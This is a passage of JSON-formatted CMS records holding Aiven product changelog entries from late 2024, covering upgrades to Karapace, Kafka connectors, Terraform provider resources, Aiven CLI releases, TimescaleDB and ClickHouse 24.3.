effectively."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a68389e1e7d6","_type":"block","children":[{"_key":"1b9644ee387d0","_type":"span","marks":[],"text":"For a complete list of changes, see the "},{"_key":"1b9644ee387d1","_type":"span","marks":["7a127fe10d59"],"text":"Karapace release notes"},{"_key":"1b9644ee387d2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7a127fe10d59","_type":"link","href":"https://github.com/Aiven-Open/karapace/releases"}],"style":"normal"}],"publishedAt":"2024-09-19T13:31:00.000Z","tags":[{"_key":"1f9433cd329a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace version 3.16.0"} {"__i18n_lang":"en","_createdAt":"2024-09-25T07:50:30Z","_id":"36d5bad8-4cab-4e15-a1e3-c8ec0a19bcce","_rev":"0bD0yWvurDucdXi3F3DXZk","_type":"changelog","_updatedAt":"2024-09-25T07:50:30Z","changeType":"improved","description":[{"_key":"21385c50950a","_type":"block","children":[{"_key":"3d56613eddab0","_type":"span","marks":[],"text":"The Snowflake Apache Kafka Connector has been upgraded to version 2.3.0. This release includes:"}],"markDefs":[],"style":"normal"},{"_key":"53422d13c495","_type":"block","children":[{"_key":"8bbdd03399f20","_type":"span","marks":[],"text":"Fixed stage file deletion during Snowpipe ingestion to ensure proper cleanup of temporary files."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7ac6e6afa73e","_type":"block","children":[{"_key":"a40aa8432ea30","_type":"span","marks":[],"text":"Added a timestamp to"},{"_key":"a40aa8432ea31","_type":"span","marks":["code"],"text":"record_metadata"},{"_key":"a40aa8432ea32","_type":"span","marks":[],"text":" to track when data is pushed to Snowflake. This field is optional and does not affect existing integrations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1b19a9ce5203","_type":"block","children":[{"_key":"ca0499de792e0","_type":"span","marks":[],"text":"Included improvements from versions 2.2.1 and 2.2.2 for better performance and stability."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9ff1a91217db","_type":"block","children":[{"_key":"f1fc3a07262a0","_type":"span","marks":[],"text":"For more information, see the "},{"_key":"f1fc3a07262a1","_type":"span","marks":["446de90d6e56"],"text":"release notes"},{"_key":"f1fc3a07262a2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"446de90d6e56","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v2.3.0"}],"style":"normal"}],"publishedAt":"2024-09-25T07:50:02.422Z","tags":[{"_key":"27d7c99b6d4e","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"},{"_key":"3a8317a5403e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake connector for Aiven for Apache Kafka® Connect upgraded to version 2.3.0"} {"__i18n_lang":"en","_createdAt":"2024-09-26T11:04:50Z","_id":"312b9265-2409-4dbd-a750-79f0ae67d5b5","_rev":"YPzePRnofxqIDzAJMEA2Wm","_type":"changelog","_updatedAt":"2024-09-26T11:04:50Z","changeType":"new","description":[{"_key":"26eb3d3fb23f","_type":"block","children":[{"_key":"5cc7f2c9ff01","_type":"span","marks":[],"text":"The "},{"_key":"199a58bcba08","_type":"span","marks":["code"],"text":"aiven_valkey"},{"_key":"c922ed40f76a","_type":"span","marks":[],"text":" and "},{"_key":"ed6a03f108d4","_type":"span","marks":["code"],"text":"aiven_valkey_user"},{"_key":"8ad9a7bc60ec","_type":"span","marks":[],"text":" resources moved from beta to general availability."}],"markDefs":[],"style":"normal"},{"_key":"928f768e5d90","_type":"block","children":[{"_key":"0999648a38f00","_type":"span","marks":[],"text":"For more information on Aiven Provider for Terraform, check out the "},{"_key":"0999648a38f01","_type":"span","marks":["1c47d16743c8"],"text":"documentation"},{"_key":"0999648a38f02","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"1c47d16743c8","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs"}],"style":"normal"},{"_key":"f147dc263ad0","_type":"block","children":[{"_key":"2dd62638da8d0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-09-26T11:04:00.000Z","tags":[{"_key":"a0acc62fd590","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Valkey is now generally available for Terraform"} {"__i18n_lang":"en","_createdAt":"2024-10-02T11:21:24Z","_id":"a379a079-4e10-4dc0-a022-385fafc0529a","_rev":"aUZ7RLz26hS2cUekFwxOxz","_type":"changelog","_updatedAt":"2024-10-02T11:21:24Z","changeType":"improved","description":[{"_key":"3cbf005f41cb","_type":"block","children":[{"_key":"654d0feb053c0","_type":"span","marks":[],"text":"A new minor version of the Aiven CLI has been released to support the following:"}],"markDefs":[],"style":"normal"},{"_key":"d7115582876e","_type":"block","children":[{"_key":"8d471e82ec8c0","_type":"span","marks":[],"text":"Aiven for AlloyDB Omni"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f1f1b087554e","_type":"block","children":[{"_key":"da90124858810","_type":"span","marks":[],"text":"Aiven for Valkey ACL commands"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"facc1f41cc09","_type":"block","children":[{"_key":"941be9b5c741","_type":"span","marks":[],"text":"For more information, see "},{"_key":"aeb5390fae51","_type":"span","marks":["3977cbf7634a"],"text":"Aiven CLI release notes"},{"_key":"3eeb45134f8e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3977cbf7634a","_type":"link","href":"https://github.com/aiven/aiven-client/releases/tag/4.3.0"}],"style":"normal"}],"publishedAt":"2024-10-02T11:21:00.000Z","tags":[{"_key":"6980b5cf8659","_ref":"3362a069-f95e-4230-b990-be0b003bc779","_type":"tool"}],"title":"Aiven CLI version 4.3.0 now available"} {"__i18n_lang":"en","_createdAt":"2024-10-07T13:40:19Z","_id":"28fefcd7-1232-41f1-bf0c-6508d690d04a","_rev":"exgZYl4YMpSEzTrzwgH3KC","_type":"changelog","_updatedAt":"2024-10-08T10:50:30Z","changeType":"improved","description":[{"_key":"ebdcfc1f54b5","_type":"block","children":[{"_key":"951dbb1ce46d0","_type":"span","marks":[],"text":"Private Service Connect (PSC) is now supported as an "},{"_key":"951dbb1ce46d1","_type":"span","marks":["9a26bf799c36"],"text":"early availability feature"},{"_key":"951dbb1ce46d2","_type":"span","marks":[],"text":" for non-"},{"_key":"951dbb1ce46d3","_type":"span","marks":["977b404911fd"],"text":"BYOC"},{"_key":"951dbb1ce46d4","_type":"span","marks":[],"text":" Aiven-managed services. It’s recommended for use in non-production environments. Feedback on your PSC experience with Aiven is welcome."}],"markDefs":[{"_key":"9a26bf799c36","_type":"link","href":"https://aiven.io/docs/platform/concepts/beta_services#early-availability-"},{"_key":"977b404911fd","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"}],"style":"normal"},{"_key":"b436ad423940","_type":"block","children":[{"_key":"fa28c35caecf0","_type":"span","marks":[],"text":"To learn more about using PSC with Aiven-managed services, see "},{"_key":"fa28c35caecf1","_type":"span","marks":["12eb01d6a145"],"text":"the documentation"},{"_key":"fa28c35caecf2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"12eb01d6a145","_type":"link","href":"https://aiven.io/docs/platform/howto/use-google-private-service-connect"}],"style":"normal"}],"publishedAt":"2024-10-01T10:30:00.000Z","tags":[{"_key":"4f22b2c70304","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Google Cloud Private Service Connect in early availability"} {"__i18n_lang":"en","_createdAt":"2024-10-15T08:29:20Z","_id":"b5cfdb3a-2716-4b3a-b16d-7524a2e3105d","_rev":"Tpe1Rj6o9fDmGqbWvoquZQ","_type":"changelog","_updatedAt":"2024-10-15T08:29:20Z","changeType":"new","description":[{"_key":"8227ee5616f9","_type":"block","children":[{"_key":"d6c4cefc922c0","_type":"span","marks":[],"text":"The Azure Blob Storage sink connector is now available for Aiven for Apache Kafka® Connect. This connector lets you move data from Apache Kafka topics to Azure Blob Storage containers for long-term storage. "}],"markDefs":[],"style":"normal"},{"_key":"3a3f93b9caae","_type":"block","children":[{"_key":"d0e9dc59545f0","_type":"span","marks":[],"text":"To get started, see "},{"_key":"4c3628c61194","_type":"span","marks":["878cc6fe6526"],"text":"Create an Azure Blob Storage sink connector documentation"},{"_key":"fb7ba6dd2c85","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"878cc6fe6526","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/howto/azure-blob-sink"}],"style":"normal"}],"publishedAt":"2024-10-15T08:27:00.000Z","tags":[{"_key":"95ceecac5819","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"},{"_key":"4c10a8c496f3","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Azure Blob Storage sink connector now available"} {"__i18n_lang":"en","_createdAt":"2024-10-24T14:43:06Z","_id":"b24ecfd8-0d08-481b-a5ca-31411e7952bd","_rev":"eOGTVivSz2oqfsen7KR9Dq","_type":"changelog","_updatedAt":"2024-10-24T14:43:06Z","changeType":"improved","description":[{"_key":"22c6bac9a14d","_type":"block","children":[{"_key":"f39b776b2d9b","_type":"span","marks":[],"text":"Karapace has been upgraded to version 4.0.0, bringing important updates and fixes.\n\n"},{"_key":"8bc4f222cb4e1","_type":"span","marks":["strong"],"text":"Key changes:"}],"markDefs":[],"style":"normal"},{"_key":"bd44496cde37","_type":"block","children":[{"_key":"4505520835d60","_type":"span","marks":["strong"],"text":"Systemd journal logging:"},{"_key":"4505520835d61","_type":"span","marks":[],"text":" Added support for logging to the systemd journal for easier log management."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b9e0f50baca2","_type":"block","children":[{"_key":"4cb439ad06f60","_type":"span","marks":["strong"],"text":"Schema compatibility checks"},{"_key":"4cb439ad06f61","_type":"span","marks":[],"text":": Introduced a new "},{"_key":"4cb439ad06f62","_type":"span","marks":["code"],"text":"messages"},{"_key":"4cb439ad06f63","_type":"span","marks":[],"text":" field in the compatibility API, which provides more precise explanations of schema issues."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a16e6d00a7a9","_type":"block","children":[{"_key":"d335438492990","_type":"span","marks":["strong"],"text":"To be enabled later:"}],"markDefs":[],"style":"normal"},{"_key":"fd625d7974ec","_type":"block","children":[{"_key":"0db7cfcc5c180","_type":"span","marks":["strong"],"text":"Protobuf formatter:"},{"_key":"0db7cfcc5c181","_type":"span","marks":[],"text":" This release includes preparation for the Protobuf formatter, which will be available in a future update. It will provide more flexibility when handling Protobuf schemas."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"444982428620","_type":"block","children":[{"_key":"b995813977000","_type":"span","marks":[],"text":"For more details, see the "},{"_key":"b995813977001","_type":"span","marks":["052c06334e6d"],"text":"Karapace 4.0.0 release notes"},{"_key":"b995813977002","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"052c06334e6d","_type":"link","href":"https://github.com/Aiven-Open/karapace/releases/tag/4.0.0"}],"style":"normal"}],"publishedAt":"2024-10-24T14:42:50.578Z","tags":[{"_key":"58dab8dfb39e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace version 4.0.0"} {"__i18n_lang":"en","_createdAt":"2024-10-23T14:07:32Z","_id":"8a246570-e08d-4638-ae14-ff9d7552be7e","_rev":"Tk5wEyuF6ALVCQLusXuEXS","_type":"changelog","_updatedAt":"2024-10-23T15:10:05Z","changeType":"improved","description":[{"_key":"3507811c41cc","_type":"block","children":[{"_key":"71863ddb093c0","_type":"span","marks":[],"text":"You can now enable tiered storage in Aiven for Apache Kafka without needing to contact support."}],"markDefs":[],"style":"normal"},{"_key":"165596e32b68","_type":"block","children":[{"_key":"55e6c5ccf1350","_type":"span","marks":["strong"],"text":"Key considerations"},{"_key":"55e6c5ccf1351","_type":"span","marks":[],"text":":"}],"markDefs":[],"style":"normal"},{"_key":"18123f83375c","_type":"block","children":[{"_key":"a877da20cc960","_type":"span","marks":[],"text":"Once enabled, tiered storage cannot be disabled."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b26dc0e55706","_type":"block","children":[{"_key":"5d66d5d6582a0","_type":"span","marks":[],"text":"Shutting down the service will result in permanent loss of data stored in tiered storage."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ffa2ba6b7d0f","_type":"block","children":[{"_key":"b8694fd11ec80","_type":"span","marks":[],"text":"Tiered storage is available only on AWS, Google Cloud, and Microsoft Azure."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f500f30808aa","_type":"block","children":[{"_key":"bf59e93e9be90","_type":"span","marks":[],"text":"For more information, see "},{"_key":"bf59e93e9be91","_type":"span","marks":["08733a89fa04"],"text":"Get started with tiered storage"},{"_key":"bf59e93e9be92","_type":"span","marks":[],"text":" and review the existing "},{"_key":"bf59e93e9be93","_type":"span","marks":["498c1ae61198"],"text":"limitations"},{"_key":"bf59e93e9be94","_type":"span","marks":[],"text":" for tiered storage."}],"markDefs":[{"_key":"08733a89fa04","_type":"link","href":"https://aiven.io/docs/products/kafka/howto/kafka-tiered-storage-get-started"},{"_key":"498c1ae61198","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/tiered-storage-limitations"}],"style":"normal"}],"publishedAt":"2024-10-23T15:09:00.000Z","tags":[{"_key":"972f5794dfa1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Tiered storage in Aiven for Apache Kafka is now self-service"} {"__i18n_lang":"en","_createdAt":"2024-10-31T11:12:07Z","_id":"6b9da07b-b473-49e8-99be-fcea616fa42e","_rev":"awnmkCLYpW42uv1UrYOonq","_type":"changelog","_updatedAt":"2024-10-31T12:21:49Z","changeType":"improved","description":[{"_key":"ebd30238c05c","_type":"block","children":[{"_key":"04aa1a1be6960","_type":"span","marks":[],"text":"A new minor version of the Aiven CLI has been released to support the following:"}],"markDefs":[],"style":"normal"},{"_key":"5c71f4aa5a58","_type":"block","children":[{"_key":"d1c37f64da1a0","_type":"span","marks":["code"],"text":"avn byoc tags list"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"64d4032a0b8f","_type":"block","children":[{"_key":"1f22fefd616b0","_type":"span","marks":["code"],"text":"avn byoc tags update --add-tag KEY=VALUE --remove-tag KEY"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b973684d7a98","_type":"block","children":[{"_key":"1fc714094f8e0","_type":"span","marks":["code"],"text":"avn byoc tags replace --tag KEY=VALUE"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1d06ffbfbd56","_type":"block","children":[{"_key":"5fe1cd08f2030","_type":"span","marks":[],"text":"These tags are attached to "},{"_key":"5fe1cd08f2031","_type":"span","marks":["61a177c6c409"],"text":"BYOC"},{"_key":"5fe1cd08f2032","_type":"span","marks":[],"text":" environments and cascaded to bastion nodes in private "},{"_key":"5fe1cd08f2033","_type":"span","marks":["b98e4ee11d7e"],"text":"deployment models"},{"_key":"5fe1cd08f2034","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"61a177c6c409","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"},{"_key":"b98e4ee11d7e","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc#byoc-deployment"}],"style":"normal"},{"_key":"e1cf02fb868d","_type":"block","children":[{"_key":"0aee41a19bd60","_type":"span","marks":[],"text":"For more information, see "},{"_key":"0aee41a19bd61","_type":"span","marks":["2bdccb9ab114"],"text":"Aiven CLI release notes"},{"_key":"0aee41a19bd62","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2bdccb9ab114","_type":"link","href":"https://github.com/aiven/aiven-client/releases/tag/4.4.0"}],"style":"normal"}],"publishedAt":"2024-10-31T12:21:00.000Z","tags":[{"_key":"a888eb150395","_ref":"3362a069-f95e-4230-b990-be0b003bc779","_type":"tool"}],"title":"Aiven CLI version 4.4.0 now available"} {"__i18n_lang":"en","_createdAt":"2024-11-15T08:08:03Z","_id":"7df89b86-9419-4073-bf78-271e2ac8a2a8","_rev":"0nsIYuNmri4WLONet0hMYo","_type":"changelog","_updatedAt":"2024-11-15T08:08:03Z","changeType":"new","description":[{"_key":"2a136421bb2f","_type":"block","children":[{"_key":"17bf911221750","_type":"span","marks":[],"text":"The "},{"_key":"3ca6a8d04534","_type":"span","marks":["263bbbad6a86"],"text":"autoscaler service integration"},{"_key":"add71260085e","_type":"span","marks":[],"text":" is supported in version 4.29.0 of Aiven Provider for Terraform including the latest configuration options for services, integrations, and endpoints.\n"}],"markDefs":[{"_key":"263bbbad6a86","_type":"link","href":"https://aiven.io/docs/platform/howto/disk-autoscaler"}],"style":"normal"},{"_key":"a22b02698f1f","_type":"block","children":[{"_key":"294ced7d4bb3","_type":"span","marks":[],"text":"Additionally, starting with this release, the changelog will now highlight every schema change. This should make it easier to track and understand the updates Aiven is delivering with the Terraform provider."}],"markDefs":[],"style":"normal"},{"_key":"7812efc29512","_type":"block","children":[{"_key":"d25aa6e149790","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b7a8a5cc1e90","_type":"block","children":[{"_key":"db7022cb78100","_type":"span","marks":[],"text":"For more information on Aiven Provider for Terraform, view the "},{"_key":"db7022cb78101","_type":"span","marks":["0e6f8c96bfd6"],"text":"documentation"},{"_key":"db7022cb78102","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"0e6f8c96bfd6","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs"}],"style":"normal"},{"_key":"607ad2d68246","_type":"block","children":[{"_key":"660b3cb3af160","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-11-14T08:07:00.000Z","tags":[{"_key":"04f55a76d247","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Autoscaler now supported in Aiven Provider for Terraform"} {"__i18n_lang":"en","_createdAt":"2024-11-15T10:11:01Z","_id":"fc0c22b5-959b-4f93-8150-7f2892453077","_rev":"0nsIYuNmri4WLONet0x6rK","_type":"changelog","_updatedAt":"2024-11-15T10:11:01Z","changeType":"improved","description":[{"_key":"6e2db2ff0305","_type":"block","children":[{"_key":"a414369484ee0","_type":"span","marks":[],"text":"TimescaleDB extension version 2.17.2 is now available for Aiven for PostgreSQL®. It introduces bug fixes on top of release 2.17.1. Upgrade to 2.17.2 at your earliest convenience to make sure you use the most robust and secure version available."}],"markDefs":[],"style":"normal"},{"_key":"78de57456dc0","_type":"block","children":[{"_key":"b781fb2fbed80","_type":"span","marks":[],"text":"Refer to "},{"_key":"b781fb2fbed81","_type":"span","marks":["3496c3516052"],"text":"TimescaleDB release notes"},{"_key":"b781fb2fbed82","_type":"span","marks":[],"text":" for all the changes introduced in this release."}],"markDefs":[{"_key":"3496c3516052","_type":"link","href":"https://github.com/timescale/timescaledb/releases"}],"style":"normal"},{"_key":"b4e17a77978e","_type":"block","children":[{"_key":"e97cc7ec9b670","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"d23461b56e1a","_type":"block","children":[{"_key":"8ccd3def43360","_type":"span","marks":["ab4382328afc"],"text":"#7384"},{"_key":"42ba89b952c6","_type":"span","marks":[],"text":": Fix "},{"_key":"5080ed17c530","_type":"span","marks":["code"],"text":"negative bitmapset member not allowed"},{"_key":"d7e4fc23a00c","_type":"span","marks":[],"text":" and performance degradation on queries to compressed tables with the "},{"_key":"8d51d0c04545","_type":"span","marks":["code"],"text":"ORDER BY"},{"_key":"7094664c018e","_type":"span","marks":[],"text":" clause matching the order of the compressed data"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ab4382328afc","_type":"link","href":"https://github.com/timescale/timescaledb/issues/7384"}],"style":"normal"},{"_key":"c289aadfc1fd","_type":"block","children":[{"_key":"a8ee5a91738c0","_type":"span","marks":["061db76fbccb"],"text":"#7388"},{"_key":"688bcdc7b03f","_type":"span","marks":[],"text":": Use-after-free in vectorized grouping by "},{"_key":"d85e13785a62","_type":"span","marks":["code"],"text":"segmentby"},{"_key":"9473af25273f","_type":"span","marks":[],"text":" columns"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"061db76fbccb","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7388"}],"style":"normal"}],"publishedAt":"2024-11-14T10:03:00.000Z","tags":[{"_key":"cd9d91cc2aab","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.17.2 for Aiven for PostgreSQL® released"} {"__i18n_lang":"en","_createdAt":"2024-10-07T15:20:26Z","_id":"580a3384-7050-470f-b7a6-8bdf8d1d291e","_rev":"exgZYl4YMpSEzTrzxViZfU","_type":"changelog","_updatedAt":"2024-10-17T18:27:21Z","changeType":"improved","description":[{"_key":"824d1997888b","_type":"block","children":[{"_key":"34ac2f9ef26d0","_type":"span","marks":[],"text":"Aiven for ClickHouse® has been upgraded to "},{"_key":"abc29089b7d8","_type":"span","marks":["2e351521b3ac"],"text":"version 24.3"},{"_key":"3c749778c12b","_type":"span","marks":[],"text":", which contains "},{"_key":"34ac2f9ef26d1","_type":"span","marks":["a109cad69a88"],"text":"new features"},{"_key":"34ac2f9ef26d2","_type":"span","marks":[],"text":", "},{"_key":"34ac2f9ef26d3","_type":"span","marks":["73f0ef0d0285"],"text":"improvements"},{"_key":"34ac2f9ef26d4","_type":"span","marks":[],"text":" to existing functionalities, and a variety of "},{"_key":"34ac2f9ef26d5","_type":"span","marks":["ce7fe35791fb"],"text":"fixes"},{"_key":"34ac2f9ef26d6","_type":"span","marks":[],"text":" on top of the previous version:"}],"markDefs":[{"_key":"2e351521b3ac","_type":"link","href":"https://clickhouse.com/docs/en/whats-new/changelog#-clickhouse-release-243-lts-2024-03-27"},{"_key":"a109cad69a88","_type":"link","href":"https://clickhouse.com/docs/en/whats-new/changelog#new-feature-6"},{"_key":"73f0ef0d0285","_type":"link","href":"https://clickhouse.com/docs/en/whats-new/changelog#improvement-6"},{"_key":"ce7fe35791fb","_type":"link","href":"https://clickhouse.com/docs/en/whats-new/changelog#bug-fix-user-visible-misbehavior-in-an-official-stable-release-4"}],"style":"normal"},{"_key":"b3774047a558","_type":"block","children":[{"_key":"08508734fd440","_type":"span","marks":[],"text":"New string similarity functions: "},{"_key":"7e2c05e952e7","_type":"span","marks":["code"],"text":"arrayRandomSample"},{"_key":"6edb3d48cacd","_type":"span","marks":[],"text":", "},{"_key":"46343dda4880","_type":"span","marks":["code"],"text":"editDistance"},{"_key":"8a4741e531e9","_type":"span","marks":[],"text":", "},{"_key":"e77565db3ee9","_type":"span","marks":["code"],"text":"dramerauLevenshteinDistance"},{"_key":"b6c45c797d64","_type":"span","marks":[],"text":", "},{"_key":"f53eae49c4f4","_type":"span","marks":["code"],"text":"jaroSimilarity"},{"_key":"f140e0237bcf","_type":"span","marks":[],"text":", and more"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"370626ea25e1","_type":"block","children":[{"_key":"4d10da7d6ab80","_type":"span","marks":[],"text":"Other new functions: "},{"_key":"16c120aa1a1e","_type":"span","marks":["code"],"text":"arrayFold"},{"_key":"c056586afbd0","_type":"span","marks":[],"text":", "},{"_key":"cba385f508fc","_type":"span","marks":["code"],"text":"groupArrayIntersect"},{"_key":"c2b28c090a85","_type":"span","marks":[],"text":", "},{"_key":"da5e3b12c85c","_type":"span","marks":["code"],"text":"largestTriangleThreeBuckets"},{"_key":"d2bf87bcda9c","_type":"span","marks":[],"text":", "},{"_key":"bf31b3eb4ddb","_type":"span","marks":["code"],"text":"seriesPeriodDetectFFT"},{"_key":"4731b7602ab8","_type":"span","marks":[],"text":", and more"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"544d2de20585","_type":"block","children":[{"_key":"8b3d1f06e49c0","_type":"span","marks":[],"text":"Space-filling curves (such as "},{"_key":"ab3aeb1518c0","_type":"span","marks":["code"],"text":"mortonEncode"},{"_key":"ddc5db65d7da","_type":"span","marks":[],"text":") can be used for primary key, which is useful if there are two separate expressions (rather than just one) that are often filtered by."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"62f674b4452e","_type":"block","children":[{"_key":"63dcb308a5480","_type":"span","marks":[],"text":"Automatic detection of a file format (for example, Parquet) for files with no extension"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ad0300c56ad2","_type":"block","children":[{"_key":"1ee55cb012880","_type":"span","marks":["code"],"text":"ALTER materialized_view MODIFY"},{"_key":"938f3a19b6f1","_type":"span","marks":[],"text":" query"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ccd74a2269b6","_type":"block","children":[{"_key":"e824552700490","_type":"span","marks":[],"text":"Support for NPY file format for better NumPy interoperability"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4b8ff89748d2","_type":"block","children":[{"_key":"058956547ea20","_type":"span","marks":[],"text":"GCD compression codec for integers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9676dcd3e674","_type":"block","children":[{"_key":"8848e5addc000","_type":"span","marks":["code"],"text":"PASTE JOIN"},{"_key":"0a3d0a31dee2","_type":"span","marks":[],"text":": create a table by joining all columns from a left subquery to all columns from a right subquery in the order of their respective rows"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b67fad308b8a","_type":"block","children":[{"_key":"bbd5242a1bb30","_type":"span","marks":[],"text":"Vectorized functions "},{"_key":"c2bcbe4b7691","_type":"span","marks":["code"],"text":"cosineDistance"},{"_key":"8884659e8916","_type":"span","marks":[],"text":", "},{"_key":"003911b08b38","_type":"span","marks":["code"],"text":"dotProduct"},{"_key":"1d71521a29bf","_type":"span","marks":[],"text":", and "},{"_key":"2c14f8ada319","_type":"span","marks":["code"],"text":"L2Distance"},{"_key":"487eccca4149","_type":"span","marks":[],"text":" for better performance and additional ClickHouse vector database capabilities"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e870a7ebb6bd","_type":"block","children":[{"_key":"5045d9f072c50","_type":"span","marks":[],"text":"Adaptive asynchronous "},{"_key":"ea2339dc8fb0","_type":"span","marks":["code"],"text":"INSERT"},{"_key":"9f62b160dd9b","_type":"span","marks":[],"text":"s: adjust flush timeout based on frequency of "},{"_key":"feae465ef586","_type":"span","marks":["code"],"text":"INSERTS"},{"_key":"b88a5b1f11ba","_type":"span","marks":[],"text":"s"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"23faab96f61c","_type":"block","children":[{"_key":"897f3b6f2a6c0","_type":"span","marks":["6cd82f47c01f"],"text":"Performance improvements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6cd82f47c01f","_type":"link","href":"https://clickhouse.com/docs/en/whats-new/changelog#performance-improvement-6"}],"style":"normal"},{"_key":"f9ec978a5678","_type":"block","children":[{"_key":"9a18216d5eca0","_type":"span","marks":[],"text":"ClickHouse 24.3 brings changes to defaults of a few settings related to JSON, Parquet, ORC, and Arrow input/output formats:"}],"markDefs":[],"style":"normal"},{"_key":"7c4a4993b323","_type":"block","children":[{"_key":"ffa8162600350","_type":"span","marks":["code"],"text":"input_format_json_try_infer_numbers_from_strings"},{"_key":"a0deff9d4834","_type":"span","marks":[],"text":": true → false"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1a07b47cfa74","_type":"block","children":[{"_key":"d73b6e8194e90","_type":"span","marks":["code"],"text":"output_format_parquet_string_as_string"},{"_key":"58c7b2b90ec0","_type":"span","marks":[],"text":": false → true"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8202ff09e049","_type":"block","children":[{"_key":"5b1c69f2c2140","_type":"span","marks":["code"],"text":"output_format_arrow_string_as_string"},{"_key":"e7d98d3876e6","_type":"span","marks":[],"text":": false → true"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d28222b0807f","_type":"block","children":[{"_key":"ca338ab5256d0","_type":"span","marks":["code"],"text":"output_format_orc_string_as_string"},{"_key":"661a653a122d","_type":"span","marks":[],"text":": false → true"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"267897bb58cd","_type":"block","children":[{"_key":"59d906d9bca00","_type":"span","marks":[],"text":"If you’re using these settings, append a "},{"_key":"e516a70b81b2","_type":"span","marks":["code"],"text":"SETTINGS"},{"_key":"05c4cceacbc1","_type":"span","marks":[],"text":" section to the end of queries while upgrading, for example:"}],"markDefs":[],"style":"normal"},{"_key":"1dab58d48df0","_type":"block","children":[{"_key":"4bf723995e970","_type":"span","marks":["code"],"text":"SELECT *\nFROM table\nFORMAT Parquet\nSETTINGS output_format_parquet_string_as_string=0;"}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-10-17T18:26:00.000Z","tags":[{"_key":"ffcae15f9702","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Aiven for ClickHouse® upgraded to 24.3"} {"__i18n_lang":"en","_createdAt":"2024-12-11T10:26:52Z","_id":"65f6c249-1cf4-4165-bcde-6f722ae1ba20","_rev":"sZ6EyOfhN45Bkk0uyBubwC","_type":"changelog","_updatedAt":"2024-12-16T12:21:10Z","changeType":"improved","description":[{"_key":"7acc04a7fe67","_type":"block","children":[{"_key":"ffefa897b15e0","_type":"span","marks":[],"text":"You can now enable query cache for your Aiven for ClickHouse® queries. 